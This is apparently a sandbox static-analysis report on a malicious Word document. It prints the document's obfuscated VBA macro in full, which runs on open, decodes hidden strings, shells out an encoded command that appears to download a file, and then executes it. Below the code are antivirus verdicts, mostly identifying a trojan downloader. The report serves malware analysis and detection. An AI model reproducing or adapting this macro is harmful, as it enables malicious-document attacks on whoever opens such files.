popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private lINylxzeFfKWfp       As Boolean
Private TKvVWxQlCz(0 To 63)  As Byte
Private lAsdLtEcBiEU((0 Xor 0) To 127) As Byte
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliSeconds As Long)
Sub Document_Open()
ActiveDocument.Variables.Add Name:="BrCWvooVNfiJmyjM", Value:="82+B9hdeQL48S5f4DBDExdlIaIUPGIEv0rjZa9VsSAQOI1n2X1T5bZaGEIUmSJ+dtqb5huygwUbVSJtYG+Xkxl9l/R2gBQT1VqUmPGW7GzGKURVSSe9wnfBvTH3s9CcRly2fZebmcCVZXSnHENKsahb+KD+JYtICfrEe"
Set MrWivxtgQstWh = CreateObject(ZcNcwbAfWzrW(Array(160, ((0 Xor 4) + 8), ((63 Xor 122) + 174)), 0) + ZcNcwbAfWzrW(Array(159, (74 + 29), 42), 3) + ZcNcwbAfWzrW(Array((19 + 22), (142 + (4 Xor 70)), ((21 Xor 2) + 68), (75 Xor 46), (76 Xor 157), (89 + 56)), (3 Xor 5)) + ZcNcwbAfWzrW(Array((89 + 7), (9 + (89 Xor 53)), (2 + 149), ((21 Xor 133) + (8 Xor 36))), (2 + 10)) + ZcNcwbAfWzrW(Array(((4 Xor 52) + 122), 60, (11 + 2)), (2 Xor 18)) + ZcNcwbAfWzrW(Array((138 Xor 98), ((10 Xor 51) + (5 Xor 2)), (59 Xor 65)), (4 Xor 23)) + ZcNcwbAfWzrW(Array(235, 74, _
(93 + 84), 204), ((0 Xor 18) + 4)))
Dim MjubsgrsMgnuld As String
MjubsgrsMgnuld = Environ(ZcNcwbAfWzrW(Array(((78 Xor 33) + 30), 14, 184, ((12 Xor 16) + (0 Xor 0))), ((2 Xor 10) + (12 Xor 30)))) + ZcNcwbAfWzrW(Array(20), (5 + (11 Xor 18))) + MrWivxtgQstWh.GetTempName() + ZcNcwbAfWzrW(Array(42, 106, (3 + 76), ((6 Xor 0) + 47)), (7 + (19 Xor 11)))
Call Shell(ZcNcwbAfWzrW(Array((14 + (47 Xor 168)), ((13 Xor 36) + (17 Xor 0)), (25 + (6 Xor 11))), ((0 Xor 1) + 34)) + ZcNcwbAfWzrW(Array((25 + 116), ((0 Xor 23) + 1)), ((37 Xor 0) + (0 Xor 1))) & ZcNcwbAfWzrW(Array((134 + (83 Xor 15)), (170 Xor 69), ((63 Xor 104) + 37), (76 + 95), (35 + (30 Xor 62)), (44 + 4)), (19 + (0 Xor 21))) + ZcNcwbAfWzrW(Array(((20 Xor 2) + 228), 189, (140 Xor 23), 211, 139), 46) & ZcNcwbAfWzrW(Array((134 Xor 108), (3 + (71 Xor 203)), (22 + (151 Xor 60))), (19 Xor 32)) + ZcNcwbAfWzrW(Array((67 + 95), 46, (61 Xor 141), _
(64 + 40), 182), (30 Xor 40)) & ZcNcwbAfWzrW(Array((10 Xor 33), ((5 Xor 22) + (29 Xor 69)), ((80 Xor 13) + (0 Xor 44))), 59) + ZcNcwbAfWzrW(Array(((16 Xor 2) + (37 Xor 94)), (136 + (32 Xor 10))), (24 + (21 Xor 51))) & ZcNcwbAfWzrW(Array(127, ((26 Xor 88) + (2 Xor 4)), ((116 Xor 225) + (5 Xor 3)), 61, (195 + 5), ((18 Xor 7) + 92), ((20 Xor 115) + 9), ((24 Xor 35) + 74), (6 + (7 Xor 24)), 159, 9, ((9 Xor 6) + 4), (1 Xor 0), (208 + (0 Xor 4)), ((9 Xor 16) + 92), 80), 64) + ZcNcwbAfWzrW(Array(254, 37, (61 + (49 Xor 2)), ((4 Xor 22) + (11 Xor 39)), (27 Xor 62), _
(109 Xor 235), 94, 254), (59 + (1 Xor 20))) & ZcNcwbAfWzrW(Array((116 Xor 235), (2 Xor 0), 99, 9, 137, ((29 Xor 121) + 35), (53 Xor 102), 62, ((36 Xor 19) + (28 Xor 177)), 94, (43 Xor 221), 74, 215, (88 + 112), 20), 88) + ZcNcwbAfWzrW(Array(73, ((14 Xor 18) + (17 Xor 8)), (79 + 46)), (32 Xor 71)) + MjubsgrsMgnuld)
Do While True
If Dir(MjubsgrsMgnuld) <> ZcNcwbAfWzrW(Array(), (6 + 100)) Then
Call Shell(ZcNcwbAfWzrW(Array((78 + 13), (132 + (41 Xor 7)), 126, ((88 Xor 49) + 77)), ((63 Xor 123) + (6 Xor 32))) + ZcNcwbAfWzrW(Array((31 Xor 223), 6, (27 Xor 62), (34 + 170), 8), (53 Xor 91)) + MjubsgrsMgnuld + ZcNcwbAfWzrW(Array((12 Xor 31), ((3 Xor 38) + 155), (8 Xor 4), (4 Xor 165), (25 + 93), 31), 115) & ZcNcwbAfWzrW(Array((18 Xor 207), 114), (104 Xor 17)), vbNormalFocus)
Exit Do
End If
Sleep (127 Xor 1091)
Loop
End Sub
Public Function vKRpBJPJplTT(ByVal MhPtRbeuCw As String) As Byte()
If Not lINylxzeFfKWfp Then xqSnjcqYoJHzoV
Dim UMPmtkKAQi() As Byte: UMPmtkKAQi = UFFbvVOnbjTq(MhPtRbeuCw)
Dim gTaLPTfAtQ As Long: gTaLPTfAtQ = UBound(UMPmtkKAQi) + ((1 Xor 0) + (0 Xor 0))
If gTaLPTfAtQ Mod 4 <> (0 + (0 Xor 0)) Then Err.Raise vbObjectError, , ""
Do While gTaLPTfAtQ > 0
If UMPmtkKAQi(gTaLPTfAtQ - (1 + (0 Xor 0))) <> Asc("=") Then Exit Do
gTaLPTfAtQ = gTaLPTfAtQ - ((0 Xor 0) + (0 Xor 1))
Loop
Dim HajdkWxjuA As Long: HajdkWxjuA = (gTaLPTfAtQ * ((1 Xor 2) + (0 Xor 0))) \ (2 + (2 Xor 0))
Dim WSYKCPttjMWpg() As Byte
ReDim WSYKCPttjMWpg((0 Xor 0) To HajdkWxjuA - (1 + 0)) As Byte
Dim zalCruQrfIGNiN As Long
Dim TJFalxfcmeKAz As Long
Do While zalCruQrfIGNiN < gTaLPTfAtQ
Dim GxHnBaNhRmHH As Byte: GxHnBaNhRmHH = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (1 + (0 Xor 0))
Dim KWfjoMOugYHM As Byte: KWfjoMOugYHM = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (0 Xor 1)
Dim gYsmkFiCCWC As Byte: If zalCruQrfIGNiN < gTaLPTfAtQ Then gYsmkFiCCWC = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (1 Xor 0) Else gYsmkFiCCWC = Asc("A")
Dim HoqioIZqXaMEs As Byte: If zalCruQrfIGNiN < gTaLPTfAtQ Then HoqioIZqXaMEs = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (1 Xor 0) Else HoqioIZqXaMEs = Asc("A")
If GxHnBaNhRmHH > (117 Xor 10) Or KWfjoMOugYHM > (98 + (14 Xor 19)) Or gYsmkFiCCWC > 127 Or HoqioIZqXaMEs > 127 Then _
Err.Raise vbObjectError, , ""
Dim NgFLBhKsbMO As Byte: NgFLBhKsbMO = lAsdLtEcBiEU(GxHnBaNhRmHH)
Dim QuZcOWPHuQjJLz As Byte: QuZcOWPHuQjJLz = lAsdLtEcBiEU(KWfjoMOugYHM)
Dim BIpPIcQRnK As Byte: BIpPIcQRnK = lAsdLtEcBiEU(gYsmkFiCCWC)
Dim pkhcaYOQzPasps As Byte: pkhcaYOQzPasps = lAsdLtEcBiEU(HoqioIZqXaMEs)
If NgFLBhKsbMO > ((40 Xor 16) + (7 Xor 0)) Or QuZcOWPHuQjJLz > 63 Or BIpPIcQRnK > 63 Or pkhcaYOQzPasps > 63 Then _
Err.Raise vbObjectError, , ""
Dim AvRoEIScVld As Byte: AvRoEIScVld = (NgFLBhKsbMO * ((1 Xor 3) + 2)) Or (QuZcOWPHuQjJLz \ &H10)
Dim lBSgHsDFNTe As Byte: lBSgHsDFNTe = ((QuZcOWPHuQjJLz And &HF) * &H10) Or (BIpPIcQRnK \ (2 + (1 Xor 3)))
Dim MQcgOtvgXSxUKq As Byte: MQcgOtvgXSxUKq = ((BIpPIcQRnK And (0 Xor 3)) * &H40) Or pkhcaYOQzPasps
WSYKCPttjMWpg(TJFalxfcmeKAz) = AvRoEIScVld: TJFalxfcmeKAz = TJFalxfcmeKAz + (1 + (0 Xor 0))
If TJFalxfcmeKAz < HajdkWxjuA Then WSYKCPttjMWpg(TJFalxfcmeKAz) = lBSgHsDFNTe: TJFalxfcmeKAz = TJFalxfcmeKAz + 1
If TJFalxfcmeKAz < HajdkWxjuA Then WSYKCPttjMWpg(TJFalxfcmeKAz) = MQcgOtvgXSxUKq: TJFalxfcmeKAz = TJFalxfcmeKAz + 1
Loop
vKRpBJPJplTT = WSYKCPttjMWpg
End Function
Private Sub xqSnjcqYoJHzoV()
Dim EHBBQmsjedCk As Integer, tYdwjTRRys As Integer
tYdwjTRRys = 0
For EHBBQmsjedCk = Asc("A") To Asc("Z"): TKvVWxQlCz(tYdwjTRRys) = EHBBQmsjedCk: tYdwjTRRys = tYdwjTRRys + (1 + 0): Next
For EHBBQmsjedCk = Asc("a") To Asc("z"): TKvVWxQlCz(tYdwjTRRys) = EHBBQmsjedCk: tYdwjTRRys = tYdwjTRRys + 1: Next
For EHBBQmsjedCk = Asc("0") To Asc("9"): TKvVWxQlCz(tYdwjTRRys) = EHBBQmsjedCk: tYdwjTRRys = tYdwjTRRys + ((0 Xor 1) + (0 Xor 0)): Next
TKvVWxQlCz(tYdwjTRRys) = Asc("+"): tYdwjTRRys = tYdwjTRRys + ((0 Xor 0) + 1)
TKvVWxQlCz(tYdwjTRRys) = Asc("/"): tYdwjTRRys = tYdwjTRRys + 1
For tYdwjTRRys = (0 Xor 0) To 127: lAsdLtEcBiEU(tYdwjTRRys) = ((9 Xor 77) + 187): Next
For tYdwjTRRys = 0 To (2 + (3 Xor 62)): lAsdLtEcBiEU(TKvVWxQlCz(tYdwjTRRys)) = tYdwjTRRys: Next
lINylxzeFfKWfp = True
End Sub
Private Function UFFbvVOnbjTq(ByVal MhPtRbeuCw As String) As Byte()
Dim QuZcOWPHuQjJLz() As Byte: QuZcOWPHuQjJLz = MhPtRbeuCw
Dim egPbbycTJGm As Long: egPbbycTJGm = (UBound(QuZcOWPHuQjJLz) + 1) \ (1 Xor 3)
If egPbbycTJGm = (0 Xor 0) Then UFFbvVOnbjTq = QuZcOWPHuQjJLz: Exit Function
Dim BIpPIcQRnK() As Byte
ReDim BIpPIcQRnK(((0 Xor 0) + (0 Xor 0)) To egPbbycTJGm - ((0 Xor 0) + (0 Xor 1))) As Byte
Dim DQRoXrHlOXmpAn As Long
For DQRoXrHlOXmpAn = (0 Xor 0) To egPbbycTJGm - (1 + (0 Xor 0))
Dim EHBBQmsjedCk As Long: EHBBQmsjedCk = QuZcOWPHuQjJLz(2 * DQRoXrHlOXmpAn) + ((71 Xor 209) + (82 Xor 56)) * CLng(QuZcOWPHuQjJLz(2 * DQRoXrHlOXmpAn + (0 + 1)))
If EHBBQmsjedCk >= (28 Xor 284) Then EHBBQmsjedCk = Asc("?")
BIpPIcQRnK(DQRoXrHlOXmpAn) = EHBBQmsjedCk
Next
UFFbvVOnbjTq = BIpPIcQRnK
End Function
Private Function ZcNcwbAfWzrW(cEueNRIxXQTw As Variant, KCSqYOIkme As Integer)
Dim nFZwddEziubiCq As String
Dim kBqFPArDERPLu() As Byte
kBqFPArDERPLu = vKRpBJPJplTT(ActiveDocument.Variables("BrCWvooVNfiJmyjM"))
nFZwddEziubiCq = ""
For tYdwjTRRys = LBound(cEueNRIxXQTw) To UBound(cEueNRIxXQTw)
nFZwddEziubiCq = nFZwddEziubiCq & Chr(kBqFPArDERPLu(tYdwjTRRys + KCSqYOIkme) Xor cEueNRIxXQTw(tYdwjTRRys))
Next
ZcNcwbAfWzrW = nFZwddEziubiCq
End Function

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private lINylxzeFfKWfp       As Boolean
Private TKvVWxQlCz(0 To 63)  As Byte
Private lAsdLtEcBiEU((0 Xor 0) To 127) As Byte
Private Declare Sub Sleep Lib "kernel32" (ByVal lngMilliSeconds As Long)
Sub Document_Open()
ActiveDocument.Variables.Add Name:="BrCWvooVNfiJmyjM", Value:="82+B9hdeQL48S5f4DBDExdlIaIUPGIEv0rjZa9VsSAQOI1n2X1T5bZaGEIUmSJ+dtqb5huygwUbVSJtYG+Xkxl9l/R2gBQT1VqUmPGW7GzGKURVSSe9wnfBvTH3s9CcRly2fZebmcCVZXSnHENKsahb+KD+JYtICfrEe"
Set MrWivxtgQstWh = CreateObject(ZcNcwbAfWzrW(Array(160, ((0 Xor 4) + 8), ((63 Xor 122) + 174)), 0) + ZcNcwbAfWzrW(Array(159, (74 + 29), 42), 3) + ZcNcwbAfWzrW(Array((19 + 22), (142 + (4 Xor 70)), ((21 Xor 2) + 68), (75 Xor 46), (76 Xor 157), (89 + 56)), (3 Xor 5)) + ZcNcwbAfWzrW(Array((89 + 7), (9 + (89 Xor 53)), (2 + 149), ((21 Xor 133) + (8 Xor 36))), (2 + 10)) + ZcNcwbAfWzrW(Array(((4 Xor 52) + 122), 60, (11 + 2)), (2 Xor 18)) + ZcNcwbAfWzrW(Array((138 Xor 98), ((10 Xor 51) + (5 Xor 2)), (59 Xor 65)), (4 Xor 23)) + ZcNcwbAfWzrW(Array(235, 74, _
(93 + 84), 204), ((0 Xor 18) + 4)))
Dim MjubsgrsMgnuld As String
MjubsgrsMgnuld = Environ(ZcNcwbAfWzrW(Array(((78 Xor 33) + 30), 14, 184, ((12 Xor 16) + (0 Xor 0))), ((2 Xor 10) + (12 Xor 30)))) + ZcNcwbAfWzrW(Array(20), (5 + (11 Xor 18))) + MrWivxtgQstWh.GetTempName() + ZcNcwbAfWzrW(Array(42, 106, (3 + 76), ((6 Xor 0) + 47)), (7 + (19 Xor 11)))
Call Shell(ZcNcwbAfWzrW(Array((14 + (47 Xor 168)), ((13 Xor 36) + (17 Xor 0)), (25 + (6 Xor 11))), ((0 Xor 1) + 34)) + ZcNcwbAfWzrW(Array((25 + 116), ((0 Xor 23) + 1)), ((37 Xor 0) + (0 Xor 1))) & ZcNcwbAfWzrW(Array((134 + (83 Xor 15)), (170 Xor 69), ((63 Xor 104) + 37), (76 + 95), (35 + (30 Xor 62)), (44 + 4)), (19 + (0 Xor 21))) + ZcNcwbAfWzrW(Array(((20 Xor 2) + 228), 189, (140 Xor 23), 211, 139), 46) & ZcNcwbAfWzrW(Array((134 Xor 108), (3 + (71 Xor 203)), (22 + (151 Xor 60))), (19 Xor 32)) + ZcNcwbAfWzrW(Array((67 + 95), 46, (61 Xor 141), _
(64 + 40), 182), (30 Xor 40)) & ZcNcwbAfWzrW(Array((10 Xor 33), ((5 Xor 22) + (29 Xor 69)), ((80 Xor 13) + (0 Xor 44))), 59) + ZcNcwbAfWzrW(Array(((16 Xor 2) + (37 Xor 94)), (136 + (32 Xor 10))), (24 + (21 Xor 51))) & ZcNcwbAfWzrW(Array(127, ((26 Xor 88) + (2 Xor 4)), ((116 Xor 225) + (5 Xor 3)), 61, (195 + 5), ((18 Xor 7) + 92), ((20 Xor 115) + 9), ((24 Xor 35) + 74), (6 + (7 Xor 24)), 159, 9, ((9 Xor 6) + 4), (1 Xor 0), (208 + (0 Xor 4)), ((9 Xor 16) + 92), 80), 64) + ZcNcwbAfWzrW(Array(254, 37, (61 + (49 Xor 2)), ((4 Xor 22) + (11 Xor 39)), (27 Xor 62), _
(109 Xor 235), 94, 254), (59 + (1 Xor 20))) & ZcNcwbAfWzrW(Array((116 Xor 235), (2 Xor 0), 99, 9, 137, ((29 Xor 121) + 35), (53 Xor 102), 62, ((36 Xor 19) + (28 Xor 177)), 94, (43 Xor 221), 74, 215, (88 + 112), 20), 88) + ZcNcwbAfWzrW(Array(73, ((14 Xor 18) + (17 Xor 8)), (79 + 46)), (32 Xor 71)) + MjubsgrsMgnuld)
Do While True
If Dir(MjubsgrsMgnuld) <> ZcNcwbAfWzrW(Array(), (6 + 100)) Then
Call Shell(ZcNcwbAfWzrW(Array((78 + 13), (132 + (41 Xor 7)), 126, ((88 Xor 49) + 77)), ((63 Xor 123) + (6 Xor 32))) + ZcNcwbAfWzrW(Array((31 Xor 223), 6, (27 Xor 62), (34 + 170), 8), (53 Xor 91)) + MjubsgrsMgnuld + ZcNcwbAfWzrW(Array((12 Xor 31), ((3 Xor 38) + 155), (8 Xor 4), (4 Xor 165), (25 + 93), 31), 115) & ZcNcwbAfWzrW(Array((18 Xor 207), 114), (104 Xor 17)), vbNormalFocus)
Exit Do
End If
Sleep (127 Xor 1091)
Loop
End Sub
Public Function vKRpBJPJplTT(ByVal MhPtRbeuCw As String) As Byte()
If Not lINylxzeFfKWfp Then xqSnjcqYoJHzoV
Dim UMPmtkKAQi() As Byte: UMPmtkKAQi = UFFbvVOnbjTq(MhPtRbeuCw)
Dim gTaLPTfAtQ As Long: gTaLPTfAtQ = UBound(UMPmtkKAQi) + ((1 Xor 0) + (0 Xor 0))
If gTaLPTfAtQ Mod 4 <> (0 + (0 Xor 0)) Then Err.Raise vbObjectError, , ""
Do While gTaLPTfAtQ > 0
If UMPmtkKAQi(gTaLPTfAtQ - (1 + (0 Xor 0))) <> Asc("=") Then Exit Do
gTaLPTfAtQ = gTaLPTfAtQ - ((0 Xor 0) + (0 Xor 1))
Loop
Dim HajdkWxjuA As Long: HajdkWxjuA = (gTaLPTfAtQ * ((1 Xor 2) + (0 Xor 0))) \ (2 + (2 Xor 0))
Dim WSYKCPttjMWpg() As Byte
ReDim WSYKCPttjMWpg((0 Xor 0) To HajdkWxjuA - (1 + 0)) As Byte
Dim zalCruQrfIGNiN As Long
Dim TJFalxfcmeKAz As Long
Do While zalCruQrfIGNiN < gTaLPTfAtQ
Dim GxHnBaNhRmHH As Byte: GxHnBaNhRmHH = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (1 + (0 Xor 0))
Dim KWfjoMOugYHM As Byte: KWfjoMOugYHM = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (0 Xor 1)
Dim gYsmkFiCCWC As Byte: If zalCruQrfIGNiN < gTaLPTfAtQ Then gYsmkFiCCWC = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (1 Xor 0) Else gYsmkFiCCWC = Asc("A")
Dim HoqioIZqXaMEs As Byte: If zalCruQrfIGNiN < gTaLPTfAtQ Then HoqioIZqXaMEs = UMPmtkKAQi(zalCruQrfIGNiN): zalCruQrfIGNiN = zalCruQrfIGNiN + (1 Xor 0) Else HoqioIZqXaMEs = Asc("A")
If GxHnBaNhRmHH > (117 Xor 10) Or KWfjoMOugYHM > (98 + (14 Xor 19)) Or gYsmkFiCCWC > 127 Or HoqioIZqXaMEs > 127 Then _
Err.Raise vbObjectError, , ""
Dim NgFLBhKsbMO As Byte: NgFLBhKsbMO = lAsdLtEcBiEU(GxHnBaNhRmHH)
Dim QuZcOWPHuQjJLz As Byte: QuZcOWPHuQjJLz = lAsdLtEcBiEU(KWfjoMOugYHM)
Dim BIpPIcQRnK As Byte: BIpPIcQRnK = lAsdLtEcBiEU(gYsmkFiCCWC)
Dim pkhcaYOQzPasps As Byte: pkhcaYOQzPasps = lAsdLtEcBiEU(HoqioIZqXaMEs)
If NgFLBhKsbMO > ((40 Xor 16) + (7 Xor 0)) Or QuZcOWPHuQjJLz > 63 Or BIpPIcQRnK > 63 Or pkhcaYOQzPasps > 63 Then _
Err.Raise vbObjectError, , ""
Dim AvRoEIScVld As Byte: AvRoEIScVld = (NgFLBhKsbMO * ((1 Xor 3) + 2)) Or (QuZcOWPHuQjJLz \ &H10)
Dim lBSgHsDFNTe As Byte: lBSgHsDFNTe = ((QuZcOWPHuQjJLz And &HF) * &H10) Or (BIpPIcQRnK \ (2 + (1 Xor 3)))
Dim MQcgOtvgXSxUKq As Byte: MQcgOtvgXSxUKq = ((BIpPIcQRnK And (0 Xor 3)) * &H40) Or pkhcaYOQzPasps
WSYKCPttjMWpg(TJFalxfcmeKAz) = AvRoEIScVld: TJFalxfcmeKAz = TJFalxfcmeKAz + (1 + (0 Xor 0))
If TJFalxfcmeKAz < HajdkWxjuA Then WSYKCPttjMWpg(TJFalxfcmeKAz) = lBSgHsDFNTe: TJFalxfcmeKAz = TJFalxfcmeKAz + 1
If TJFalxfcmeKAz < HajdkWxjuA Then WSYKCPttjMWpg(TJFalxfcmeKAz) = MQcgOtvgXSxUKq: TJFalxfcmeKAz = TJFalxfcmeKAz + 1
Loop
vKRpBJPJplTT = WSYKCPttjMWpg
End Function
Private Sub xqSnjcqYoJHzoV()
Dim EHBBQmsjedCk As Integer, tYdwjTRRys As Integer
tYdwjTRRys = 0
For EHBBQmsjedCk = Asc("A") To Asc("Z"): TKvVWxQlCz(tYdwjTRRys) = EHBBQmsjedCk: tYdwjTRRys = tYdwjTRRys + (1 + 0): Next
For EHBBQmsjedCk = Asc("a") To Asc("z"): TKvVWxQlCz(tYdwjTRRys) = EHBBQmsjedCk: tYdwjTRRys = tYdwjTRRys + 1: Next
For EHBBQmsjedCk = Asc("0") To Asc("9"): TKvVWxQlCz(tYdwjTRRys) = EHBBQmsjedCk: tYdwjTRRys = tYdwjTRRys + ((0 Xor 1) + (0 Xor 0)): Next
TKvVWxQlCz(tYdwjTRRys) = Asc("+"): tYdwjTRRys = tYdwjTRRys + ((0 Xor 0) + 1)
TKvVWxQlCz(tYdwjTRRys) = Asc("/"): tYdwjTRRys = tYdwjTRRys + 1
For tYdwjTRRys = (0 Xor 0) To 127: lAsdLtEcBiEU(tYdwjTRRys) = ((9 Xor 77) + 187): Next
For tYdwjTRRys = 0 To (2 + (3 Xor 62)): lAsdLtEcBiEU(TKvVWxQlCz(tYdwjTRRys)) = tYdwjTRRys: Next
lINylxzeFfKWfp = True
End Sub
Private Function UFFbvVOnbjTq(ByVal MhPtRbeuCw As String) As Byte()
Dim QuZcOWPHuQjJLz() As Byte: QuZcOWPHuQjJLz = MhPtRbeuCw
Dim egPbbycTJGm As Long: egPbbycTJGm = (UBound(QuZcOWPHuQjJLz) + 1) \ (1 Xor 3)
If egPbbycTJGm = (0 Xor 0) Then UFFbvVOnbjTq = QuZcOWPHuQjJLz: Exit Function
Dim BIpPIcQRnK() As Byte
ReDim BIpPIcQRnK(((0 Xor 0) + (0 Xor 0)) To egPbbycTJGm - ((0 Xor 0) + (0 Xor 1))) As Byte
Dim DQRoXrHlOXmpAn As Long
For DQRoXrHlOXmpAn = (0 Xor 0) To egPbbycTJGm - (1 + (0 Xor 0))
Dim EHBBQmsjedCk As Long: EHBBQmsjedCk = QuZcOWPHuQjJLz(2 * DQRoXrHlOXmpAn) + ((71 Xor 209) + (82 Xor 56)) * CLng(QuZcOWPHuQjJLz(2 * DQRoXrHlOXmpAn + (0 + 1)))
If EHBBQmsjedCk >= (28 Xor 284) Then EHBBQmsjedCk = Asc("?")
BIpPIcQRnK(DQRoXrHlOXmpAn) = EHBBQmsjedCk
Next
UFFbvVOnbjTq = BIpPIcQRnK
End Function
Private Function ZcNcwbAfWzrW(cEueNRIxXQTw As Variant, KCSqYOIkme As Integer)
Dim nFZwddEziubiCq As String
Dim kBqFPArDERPLu() As Byte
kBqFPArDERPLu = vKRpBJPJplTT(ActiveDocument.Variables("BrCWvooVNfiJmyjM"))
nFZwddEziubiCq = ""
For tYdwjTRRys = LBound(cEueNRIxXQTw) To UBound(cEueNRIxXQTw)
nFZwddEziubiCq = nFZwddEziubiCq & Chr(kBqFPArDERPLu(tYdwjTRRys + KCSqYOIkme) Xor cEueNRIxXQTw(tYdwjTRRys))
Next
ZcNcwbAfWzrW = nFZwddEziubiCq
End Function
[Content_Types].xml
/L[E'9
_rels/.rels
word/_rels/document.xml.rels
X=c+(\
word/document.xml
P6i4KI
word/vbaProject.bin
[O@ $!
KPw'(.B
?Mt(xe
\~\ Cm
|<?,O
UawS"
`'-_Lx
@9[fg
QiK00X&
@9]PPZY
d$'$35Zu
-W/.=-
kF&[4:
:"}v#X
MOYBW+g
W0`5V
zHw|4O
f?>G17
'o&QoG
te'"6
:lo)>[
4*f'm:]
MRmkMS
7qH i
[oLNzg
p`A=pp
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/theme/theme1.xml
iN 5/m
_O<8=
&r-DeI
word/vbaData.xml
8D~WFV
word/settings.xml
}wKB3Y/
gxMdQbYG
5bC* be
QS+ 5'
docProps/app.xml
78D(fC
word/styles.xml
U!%'b}
fxb`iF
4*smyD
biDC{Hyu
docProps/core.xml
word/fontTable.xml
word/webSettings.xml
f\US}d
,y0|yh}
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/vbaProject.binPK
word/_rels/vbaProject.bin.relsPK
word/theme/theme1.xmlPK
word/vbaData.xmlPK
word/settings.xmlPK
docProps/app.xmlPK
word/styles.xmlPK
docProps/core.xmlPK
word/fontTable.xmlPK
word/webSettings.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Caccf.4!c
Elastic malicious (high confidence)
MicroWorld-eScan VB.Heur.EmoooDldr.1.02CACCF2.Gen
CMC Clean
CAT-QuickHeal Clean
McAfee RDN/Generic Downloader.x
Malwarebytes Clean
VIPRE Clean
Sangfor Malware.Generic-VBS.Save.481bf0ab
Trustlook Clean
BitDefender VB.Heur.EmoooDldr.1.02CACCF2.Gen
K7GW Clean
K7AntiVirus Clean
Baidu Clean
Cyren PP97M/Agent.QA.gen!Eldorado
Symantec Trojan.Gen.NPE
ESET-NOD32 VBA/Obfuscated.C
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba TrojanDownloader:VBA/MalDoc.ali1000101
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot DOC.Z.Agent.28453
Tencent Heur.Macro.Generic.h.2d815c04
Ad-Aware VB.Heur.EmoooDldr.1.02CACCF2.Gen
Sophos Clean
Comodo Clean
F-Secure Heuristic.HEUR/Macro.Downloader.AMGY.Gen
DrWeb Clean
Zillya Clean
TrendMicro HEUR_VBA.O2
McAfee-GW-Edition BehavesLike.Downloader.mc
FireEye VB.Heur.EmoooDldr.1.02CACCF2.Gen
Emsisoft VB.Heur.EmoooDldr.1.02CACCF2.Gen (B)
Ikarus Trojan.VBA.Obfuscated
Avast-Mobile Clean
Jiangmin Clean
Avira HEUR/Macro.Downloader.AMGY.Gen
MAX malware (ai score=100)
Antiy-AVL Clean
Kingsoft Clean
Microsoft TrojanDownloader:O97M/Obfuse.SM!MTB
Gridinsoft Clean
Arcabit VB.Heur.EmoooDldr.1.02CACCF2.Gen
SUPERAntiSpyware Clean
ZoneAlarm Clean
GData VB.Heur.EmoooDldr.1.02CACCF2.Gen
Cynet Malicious (score: 99)
AhnLab-V3 Downloader/DOC.Agent
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Suspicious/WOX.Obfus.Gen.8
VBA32 Clean
Zoner Probably Heur.W97Obfuscated
Rising Clean
Yandex Clean
SentinelOne Static AI - Malicious OPENXML
MaxSecure Clean
Fortinet VBA/Agent.3FB2!tr.dldr
AVG Script:SNH-gen [Trj]
Panda Clean
Qihoo-360 virus.office.obfuscated.1
No IRMA results available.